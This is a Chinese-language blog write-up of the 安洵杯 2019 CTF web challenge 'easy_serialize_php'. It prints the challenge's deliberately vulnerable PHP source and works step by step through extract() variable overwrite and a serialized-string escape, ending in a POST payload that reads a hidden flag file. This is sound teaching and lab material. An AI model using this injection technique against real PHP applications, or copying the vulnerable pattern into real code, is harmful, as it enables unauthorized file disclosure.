网络知识 娱乐 [安洵杯 2019]easy_serialize_php(有思考过程)

[安洵杯 2019]easy_serialize_php(有思考过程)

我是大菜鸡!

今天自己做的一道题,纪念一下。

(转自我的博客:[安洵杯 2019]easy_serialize_php - v2ish1yan - 博客园)

知识点:

1.用的刚好是我前面文章里面写的反序列化字符串逃逸。

2.extract()变量覆盖

首先看题代码。

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

从代码里面看可能的切入点。

<?php

$function = @$_GET['f'];//懂的都懂

function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);//把$_SESSION重置为空
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//这里就用了变量覆盖的知识

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){//ta没骗人,确实能找到一些东西
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));//这里只进行了一次base64解码。
}

首先我们要知道$_SESSION是什么:https://blog.csdn.net/masterft/article/details/1640122

单从做这个题来说,$_SESSION是访客与整个网站交互过程中一直存在的公有变量。

然后看extract()函数的功能:

 extract($_POST)就是将post的内容作为这个函数的参数。

然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖

至于为什么post要传_SESSION[flag]=123而不是$_SESSION[flag]=123,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。

本地测试:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);
echo "
"; extract($_POST); echo '覆盖后:'; var_dump($_SESSION);

一步步来:先?f=phpinfo看看能找到什么东西。

 找到了一个php文件,意思是页面底部加载文件,即require()。

所以就有可能要通过最后一个语句来打开查看这个文件。

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

而那个文件名以base64编码后的字符串存在userinfo['img']里面,而$userinfo = unserialize($serialize_info)

又$serialize_info= filter(serialize($_SESSION))。

而且在提取文件时,只对文件进行了一次base64解码,所以对应代码里的

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

只能让img_path为空,并把guest_img.png逃逸出去。

先本地测试,看看序列化后的字符串是什么样的:

 然后再进行变量覆盖

 因为我们要让img的内容为d0g3_f1ag.phpbase64编码后的字符串,所以要传_SESSION[img]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

但我们得到的是

 因为在变量覆盖后面,又重新给$_SESSION[img]赋值了,所以这个时候就要使用filter函数了,

如果我们传的是_SESSION[imgphp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

那么得到的是

 这里就可以看出来一点字符串逃逸的感觉了。

我最开始的想法是让s:6读取黄字部分

a:2:{s:6:"img";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这样不就可以让后面的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="生效了吗?

我们试试构造一下

 a:2:{s:10:"img";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}这样看刚刚好,但是真的能成功吗?

我们进行反序列化看看。

<?php
$a=unserialize('a:2:{s:10:"img";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}');
print_r($a);

得到的结果

不行!

后来发现,看前面的a:2那里,如果我们这样构造的话,序列化内容就不满足a:2了。(即有两个元素)

这个好解决,加一个不就行了吗,前面加上s:3:"123"来构造。

_SESSION[imgphpflag]=;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到:

a:2:{s:10:"img";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

再反序列化看看

成了!

payload:(post传参)

;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 后面的就简单了。